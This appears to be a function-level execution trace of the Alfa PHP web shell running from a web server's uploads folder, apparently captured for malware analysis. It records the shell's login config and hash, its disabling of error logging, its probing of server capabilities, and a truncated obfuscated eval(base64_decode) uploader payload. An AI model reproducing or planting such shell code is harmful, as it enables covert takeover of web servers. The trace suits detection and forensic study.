1 A /var/www/html/uploads/alfa.php 164 GLOBALS['DB_NAME']['cgi_api_rand'] = 'cgi_api'
1 A /var/www/html/uploads/alfa.php 172 $userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
2 13 0 0.012348 2766904 implode 0 /var/www/html/uploads/alfa.php 172 2 '|' [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
2 13 1 0.012369 2767064
2 13 R 'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider'
2 14 0 0.012387 2767000 preg_match 0 /var/www/html/uploads/alfa.php 172 2 '/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider/i' 'python-requests/2.25.1'
2 14 1 0.012406 2767064
2 14 R 0
2 15 0 0.012420 2766904 define 0 /var/www/html/uploads/alfa.php 179 2 '__ALFA_VERSION__' '4.1'
2 15 1 0.012435 2767008
2 15 R TRUE
2 16 0 0.012448 2766936 define 0 /var/www/html/uploads/alfa.php 180 2 '__ALFA_UPDATE__' '2'
2 16 1 0.012461 2767040
2 16 R TRUE
2 17 0 0.012473 2766968 define 0 /var/www/html/uploads/alfa.php 181 2 '__ALFA_CODE_NAME__' 'Tesla'
2 17 1 0.012488 2767072
2 17 R TRUE
2 18 0 0.012500 2767000 define 0 /var/www/html/uploads/alfa.php 182 2 '__ALFA_DATA_FOLDER__' 'ALFA_DATA'
2 18 1 0.012514 2767104
2 18 R TRUE
2 19 0 0.012527 2767032 define 0 /var/www/html/uploads/alfa.php 183 2 '__ALFA_POST_ENCRYPTION__' FALSE
2 19 1 0.012542 2767136
2 19 R TRUE
2 20 0 0.012555 2767064 define 0 /var/www/html/uploads/alfa.php 184 2 '__ALFA_SECRET_KEY__' ''
2 20 1 0.012568 2767168
2 20 R TRUE
1 A /var/www/html/uploads/alfa.php 185 GLOBALS['__ALFA_COLOR__'] = ['shell_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'header_vars' => '#27979B', 'header_values' => '#67ABDF', 'header_on' => '#00FF00', 'header_off' => '#ff0000', 'header_none' => '#00FF00', 'home_shell' => '#ff0000', 'home_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'back_shell' => '#efbe73', 'back_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_pwd' => '#00FF00', 'header_pwd:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_drive' => '#00FF00', 'header_drive:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_show_all' => '#00FF00', 'disable_functions' => '#ff0000', 'footer_text' => '#27979B', 'menu_options' => '#27979B', 'menu_options:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'options_list' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'options_list:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'options_list_header' => ['key_color' => '#59cc33', 'multi_selector' => [...]], 'options_list_text' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'Alfa+' => ['key_color' => '#06ff0f', 'multi_selector' => [...]], 'hidden_shell_text' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'hidden_shell_version' => '#ff0000', 'shell_name' => '#FF0000', 'main_row:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'main_header' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_name' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_size' => '#67ABDF', 'main_modify' => '#67ABDF', 'main_owner_group' => '#67ABDF', 'main_green_perm' => '#25ff00', 'main_red_perm' => '#FF0000', 'main_white_perm' => '#FFFFFF', 'beetween_perms' => '#FFFFFF', 'main_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'minimize_editor_background' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'minimize_editor_text' => ['key_color' => '#f5deb3', 'multi_selector' => [...]], 'editor_border' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'editor_background' => ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => [...]], 'editor_header_background' => ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => [...]], 'editor_header_text' => ['key_color' => '#00ff7f', 'multi_selector' => [...]], 'editor_header_button' => ['key_color' => '#1d5673', 'multi_selector' => [...]], 'editor_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_vars' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_values' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'editor_history_header' => ['key_color' => '#14ff07', 'multi_selector' => [...]], 'editor_history_list' => ['key_color' => '#03b3a3', 'multi_selector' => [...]], 'editor_history_selected_file' => ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => [...]], 'editor_history_file:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'input_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'input_box_text' => ['key_color' => '#999999', 'multi_selector' => [...]], 'input_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'select_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'select_box_text' => ['key_color' => '#FFFFEE', 'multi_selector' => [...]], 'select_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button_border' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'outputs_text' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'outputs_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_background' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_text_right' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'uploader_text_left' => ['key_color' => '#25ff00', 'multi_selector' => [...]], 'uploader:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'uploader_progress_bar' => ['key_color' => '#00ff00', 'multi_selector' => [...]], 'mysql_tables' => '#00FF00', 'mysql_table_count' => '#67ABDF', 'copyright' => '#dfff00', 'scrollbar' => ['key_color' => '#1e82b5', 'multi_selector' => [...]], 'scrollbar_background' => ['key_color' => '#000115', 'multi_selector' => [...]]]
2 21 0 0.012723 2767096 preg_replace 0 /var/www/html/uploads/alfa.php 511 3 '!\\(\\d+\\)\\s.*!' '' '/var/www/html/uploads/alfa.php'
2 21 1 0.012741 2767192
2 21 R '/var/www/html/uploads/alfa.php'
2 22 0 0.012756 2767096 trim 0 /var/www/html/uploads/alfa.php 511 1 '/var/www/html/uploads/alfa.php'
2 22 1 0.012769 2767128
2 22 R '/var/www/html/uploads/alfa.php'
2 23 0 0.012784 2767096 str_replace 0 /var/www/html/uploads/alfa.php 511 3 '\\' '/' '/var/www/html/uploads/alfa.php'
2 23 1 0.012800 2767192
2 23 R '/var/www/html/uploads/alfa.php'
1 A /var/www/html/uploads/alfa.php 511 GLOBALS['__file_path'] = '/var/www/html/uploads/alfa.php'
1 A /var/www/html/uploads/alfa.php 512 $config = ['AlfaUser' => 'alfa', 'AlfaPass' => 'a6f452ec3293d7fb72c5b677257b20ec', 'AlfaProtectShell' => '0', 'AlfaLoginPage' => '403']
2 24 0 0.012847 2767472 session_write_close 0 /var/www/html/uploads/alfa.php 514 0
2 24 1 0.012860 2767472
2 24 R FALSE
2 25 0 0.012874 2767472 ignore_user_abort 0 /var/www/html/uploads/alfa.php 515 1 TRUE
2 25 1 0.012888 2767536
2 25 R 0
2 26 0 0.012901 2767504 set_time_limit 0 /var/www/html/uploads/alfa.php 516 1 0
2 26 1 0.012918 2767568
2 26 R FALSE
2 27 0 0.012931 2767536 ini_set 0 /var/www/html/uploads/alfa.php 517 2 'memory_limit' '-1'
2 27 1 0.012946 2767640
2 27 R '128M'
2 28 0 0.012959 2767536 ini_set 0 /var/www/html/uploads/alfa.php 518 2 'upload_max_filesize' '9999m'
2 28 1 0.012974 2767608
2 28 R FALSE
2 29 0 0.012989 2767536 error_reporting 0 /var/www/html/uploads/alfa.php 853 1 32759
2 29 1 0.013002 2767608
2 29 R 0
2 30 0 0.013021 2767568 ini_set 0 /var/www/html/uploads/alfa.php 854 2 'error_log' NULL
2 30 1 0.013042 2767640
2 30 R ''
2 31 0 0.013054 2767568 ini_set 0 /var/www/html/uploads/alfa.php 855 2 'log_errors' 0
2 31 1 0.013068 2767640
2 31 R '1'
2 32 0 0.013081 2767568 ini_set 0 /var/www/html/uploads/alfa.php 856 2 'max_execution_time' 0
2 32 1 0.013094 2767608
2 32 R '0'
2 33 0 0.013107 2767536 ini_set 0 /var/www/html/uploads/alfa.php 857 2 'magic_quotes_runtime' 0
2 33 1 0.013121 2767608
2 33 R FALSE
2 34 0 0.013134 2767536 set_time_limit 0 /var/www/html/uploads/alfa.php 858 1 0
2 34 1 0.013147 2767600
2 34 R FALSE
2 35 0 0.013160 2767568 function_exists 0 /var/www/html/uploads/alfa.php 859 1 'set_magic_quotes_runtime'
2 35 1 0.013173 2767608
2 35 R FALSE
1 A /var/www/html/uploads/alfa.php 875 $default_action = 'FilesMan2'
1 A /var/www/html/uploads/alfa.php 876 $default_use_ajax = TRUE
1 A /var/www/html/uploads/alfa.php 877 $default_charset = 'Windows-1251'
2 36 0 0.013220 2767568 substr 0 /var/www/html/uploads/alfa.php 878 3 'Linux' 0 3
2 36 1 0.013234 2767696
2 36 R 'Lin'
2 37 0 0.013247 2767600 strtolower 0 /var/www/html/uploads/alfa.php 878 1 'Lin'
2 37 1 0.013259 2767664
2 37 R 'lin'
1 A /var/www/html/uploads/alfa.php 881 GLOBALS['sys'] = 'unix'
2 38 0 0.013285 2767568 alfaGetCwd 1 /var/www/html/uploads/alfa.php 882 0
3 39 0 0.013298 2767568 function_exists 0 /var/www/html/uploads/alfa.php 737 1 'getcwd'
3 39 1 0.013311 2767608
3 39 R TRUE
3 40 0 0.013324 2767568 getcwd 0 /var/www/html/uploads/alfa.php 738 0
3 40 1 0.013339 2767616
3 40 R '/var/www/html/uploads'
2 38 1 0.013354 2767616
2 38 R '/var/www/html/uploads'
1 A /var/www/html/uploads/alfa.php 882 GLOBALS['home_cwd'] = '/var/www/html/uploads'
1 A /var/www/html/uploads/alfa.php 883 GLOBALS['need_to_update_header'] = 'false'
1 A /var/www/html/uploads/alfa.php 884 GLOBALS['glob_chdir_false'] = FALSE
2 41 0 0.013405 2767616 alfaGetCwd 1 /var/www/html/uploads/alfa.php 890 0
3 42 0 0.013417 2767616 function_exists 0 /var/www/html/uploads/alfa.php 737 1 'getcwd'
3 42 1 0.013430 2767656
3 42 R TRUE
3 43 0 0.013442 2767616 getcwd 0 /var/www/html/uploads/alfa.php 738 0
3 43 1 0.013455 2767664
3 43 R '/var/www/html/uploads'
2 41 1 0.013469 2767664
2 41 R '/var/www/html/uploads'
1 A /var/www/html/uploads/alfa.php 890 GLOBALS['cwd'] = '/var/www/html/uploads'
1 A /var/www/html/uploads/alfa.php 898 ['cwd'] .= '/'
2 44 0 0.013509 2767664 function_exists 0 /var/www/html/uploads/alfa.php 899 1 'sys_get_temp_dir'
2 44 1 0.013522 2767704
2 44 R TRUE
2 45 0 0.013535 2767664 function_exists 0 /var/www/html/uploads/alfa.php 900 1 'mb_strlen'
2 45 1 0.013548 2767704
2 45 R FALSE
2 46 0 0.013562 2767664 function_exists 0 /var/www/html/uploads/alfa.php 905 1 'mb_substr'
2 46 1 0.013574 2767704
2 46 R FALSE
2 47 0 0.013587 2767664 function_exists 0 /var/www/html/uploads/alfa.php 910 1 'sys_get_temp_dir'
2 47 1 0.013600 2767704
2 47 R TRUE
2 48 0 0.013613 2767664 sys_get_temp_dir 0 /var/www/html/uploads/alfa.php 910 0
2 48 1 0.013626 2767704
2 48 R '/tmp'
2 49 0 0.013639 2767704 str_replace 0 /var/www/html/uploads/alfa.php 910 3 '\\' '/' '/tmp'
2 49 1 0.013653 2767800
2 49 R '/tmp'
2 50 0 0.013666 2767704 is_writable 0 /var/www/html/uploads/alfa.php 910 1 '/tmp'
2 50 1 0.013688 2767744
2 50 R TRUE
2 51 0 0.013701 2767672 sys_get_temp_dir 0 /var/www/html/uploads/alfa.php 910 0
2 51 1 0.013713 2767704
2 51 R '/tmp'
2 52 0 0.013726 2767704 define 0 /var/www/html/uploads/alfa.php 910 2 'ALFA_TEMPDIR' '/tmp'
2 52 1 0.013740 2767808
2 52 R TRUE
2 53 0 0.013756 2767736 function_exists 0 /var/www/html/uploads/alfa.php 2399 1 'posix_getpwuid'
2 53 1 0.013769 2767776
2 53 R TRUE
2 54 0 0.013781 2767736 function_exists 0 /var/www/html/uploads/alfa.php 2401 1 'posix_getgrgid'
2 54 1 0.013798 2767776
2 54 R TRUE
2 55 0 0.013812 2767736 function_exists 0 /var/www/html/uploads/alfa.php 2459 1 'scandir'
2 55 1 0.013825 2767776
2 55 R TRUE
2 56 0 0.013842 2767736 function_exists 0 /var/www/html/uploads/alfa.php 6162 1 'json_encode'
2 56 1 0.013856 2767776
2 56 R TRUE
2 57 0 0.013869 2767736 function_exists 0 /var/www/html/uploads/alfa.php 6204 1 'json_decode'
2 57 1 0.013882 2767776
2 57 R TRUE
2 58 0 0.013895 2767776 function_exists 0 /var/www/html/uploads/alfa.php 6520 1 'alfaFilesMan2'
2 58 1 0.013909 2767816
2 58 R TRUE
1 A /var/www/html/uploads/alfa.php 6521 _POST['a'] = 'FilesMan2'
2 59 0 0.013934 2768152 function_exists 0 /var/www/html/uploads/alfa.php 6524 1 'alfaFilesMan2'
2 59 1 0.013948 2768192
2 59 R TRUE
2 60 0 0.013961 2768112 alfaFilesMan2 1 /var/www/html/uploads/alfa.php 6525 0
3 61 0 0.013978 2768112 alfahead 1 /var/www/html/uploads/alfa.php 2560 0
3 A /var/www/html/uploads/alfa.php 912 GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250Pjwv'
3 A /var/www/html/uploads/alfa.php 913 $alfa_uploader = '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
4 62 0 0.014048 2769904 __ZW5jb2Rlcg 1 /var/www/html/uploads/alfa.php 914 1 '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
5 63 0 0.014076 2769904 vcnvSCZgBz 1 /var/www/html/uploads/alfa.php 119 1 '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
5 A /var/www/html/uploads/alfa.php 68 $b = 'base64_encode'
6 64 0 0.014114 2769904 base64_encode 0 /var/www/html/uploads/alfa.php 69 1 '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
6 64 1 0.014142 2772496
6 64 R 'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
5 63 1 0.014173 2772464
5 63 R 'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
4 62 1 0.014202 2772464
4 62 R 'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
4 65 0 0.014234 2772464 define 0 /var/www/html/uploads/alfa.php 914 2 'ALFA_UPLOADER' 'eval(base64_decode(\'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDh'
4 65 1 0.014261 2772568
4 65 R TRUE
3 A /var/www/html/uploads/alfa.php 966 _POST['charset'] = 'Windows-1251'
4 66 0 0.014289 2772496 function_exists 0 /var/www/html/uploads/alfa.php 967 1 'diskfreespace'
4 66 1 0.014302 2772536
4 66 R TRUE
4 67 0 0.014315 2772496 diskfreespace 0 /var/www/html/uploads/alfa.php 967 1 '/var/www/html/uploads/'
4 67 1 0.014333 2772528
4 67 R 207323430912
3 A /var/www/html/uploads/alfa.php 967 $freeSpace = 207323430912
4 68 0 0.014359 2772496 function_exists 0 /var/www/html/uploads/alfa.php 968 1 'disk_total_space'
4 68 1 0.014373 2772536
4 68 R TRUE
4 69 0 0.014386 2772496 disk_total_space 0 /var/www/html/uploads/alfa.php 968 1 '/var/www/html/uploads/'
4 69 1 0.014400 2772528
4 69 R 232015802368
3 A /var/www/html/uploads/alfa.php 968 $totalSpace = 232015802368
3 A /var/www/html/uploads/alfa.php 969 $totalSpace = 232015802368
3 A /var/www/html/uploads/alfa.php 970 $on = '<span class=\'header_on\'> ON </span>'
3 A /var/www/html/uploads/alfa.php 971 $of = '<span class=\'header_off\'> OFF </span>'
3 A /var/www/html/uploads/alfa.php 972 $none = '<span class=\'header_none\'> NONE </span>'
4 70 0 0.014471 2772496 function_exists 0 /var/www/html/uploads/alfa.php 973 1 'ssh2_connect'
4 70 1 0.014484 2772536
4 70 R FALSE
3 A /var/www/html/uploads/alfa.php 976 $ssh2 = '<span class=\'header_off\'> OFF </span>'
4 71 0 0.014509 2772496 function_exists 0 /var/www/html/uploads/alfa.php 977 1 'curl_version'
4 71 1 0.014522 2772536
4 71 R TRUE
3 A /var/www/html/uploads/alfa.php 978 $curl = '<span class=\'header_on\'> ON </span>'
4 72 0 0.014546 2772496 function_exists 0 /var/www/html/uploads/alfa.php 981 1 'mysql_get_client_info'
4 72 1 0.014560 2772536
4 72 R FALSE
4 73 0 0.014572 2772496 class_exists 0 /var/www/html/uploads/alfa.php 981 1 'mysqli'
4 73 1 0.014586 2772536
4 73 R FALSE
3 A /var/www/html/uploads/alfa.php 984 $mysql = '<span class=\'header_off\'> OFF </span>'
4 74 0 0.014610 2772496 function_exists 0 /var/www/html/uploads/alfa.php 985 1 'mssql_connect'
4 74 1 0.014623 2772536
4 74 R FALSE
3 A /var/www/html/uploads/alfa.php 988 $mssql = '<span class=\'header_off\'> OFF </span>'
4 75 0 0.014647 2772496 function_exists 0 /var/www/html/uploads/alfa.php 989 1 'pg_connect'
4 75 1 0.014660 2772536
4 75 R FALSE
3 A /var/www/html/uploads/alfa.php 992 $pg = '<span class=\'header_off\'> OFF </span>'
4 76 0 0.014683 2772496 function_exists 0 /var/www/html/uploads/alfa.php 993 1 'oci_connect'
4 76 1 0.014696 2772536
4 76 R FALSE
3 A /var/www/html/uploads/alfa.php 996 $or = '<span class=\'header_off\'> OFF </span>'
4 77 0 0.014719 2772496 ini_get 0 /var/www/html/uploads/alfa.php 997 1 'disable_functions'
4 77 1 0.014733 2772976
4 77 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4 78 0 0.014759 2772496 ini_get 0 /var/www/html/uploads/alfa.php 998 1 'disable_functions'
4 78 1 0.014772 2772976
4 78 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3 A /var/www/html/uploads/alfa.php 998 $disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4 79 0 0.014819 2772944 ini_get 0 /var/www/html/uploads/alfa.php 1001 1 'safe_mode'
4 79 1 0.014831 2772976
4 79 R FALSE
3 A /var/www/html/uploads/alfa.php 1004 $safe_modes = '<span class=\'header_on\'>OFF</span>'
3 A /var/www/html/uploads/alfa.php 1005 $cgi_shell = '<span class=\'header_off\' id=\'header_cgishell\'>OFF</span>'
4 80 0 0.014870 2772944 ini_get 0 /var/www/html/uploads/alfa.php 1006 1 'open_basedir'
4 80 1 0.014882 2772976
4 80 R ''
3 A /var/www/html/uploads/alfa.php 1013 $open_b = '<span class=\'header_none\'> NONE </span>'
4 81 0 0.014908 2772944 ini_get 0 /var/www/html/uploads/alfa.php 1014 1 'safe_mode_exec_dir'
4 81 1 0.014921 2772976
4 81 R FALSE
3 A /var/www/html/uploads/alfa.php 1017 $safe_exe = '<span class=\'header_none\'> NONE </span>'
4 82 0 0.014946 2772944 ini_get 0 /var/www/html/uploads/alfa.php 1018 1 'safe_mode_include_dir'
4 82 1 0.014959 2772976
4 82 R FALSE
3 A /var/www/html/uploads/alfa.php 1021 $safe_include = '<span class=\'header_none\'> NONE </span>'
4 83 0 0.014984 2772944 function_exists 0 /var/www/html/uploads/alfa.php 1022 1 'posix_getegid'
4 83 1 0.014997 2772984
4 83 R TRUE
4 84 0 0.015010 2772944 function_exists 0 /var/www/html/uploads/alfa.php 1029 1 'posix_getpwuid'
4 84 1 0.015023 2772984
4 84 R TRUE
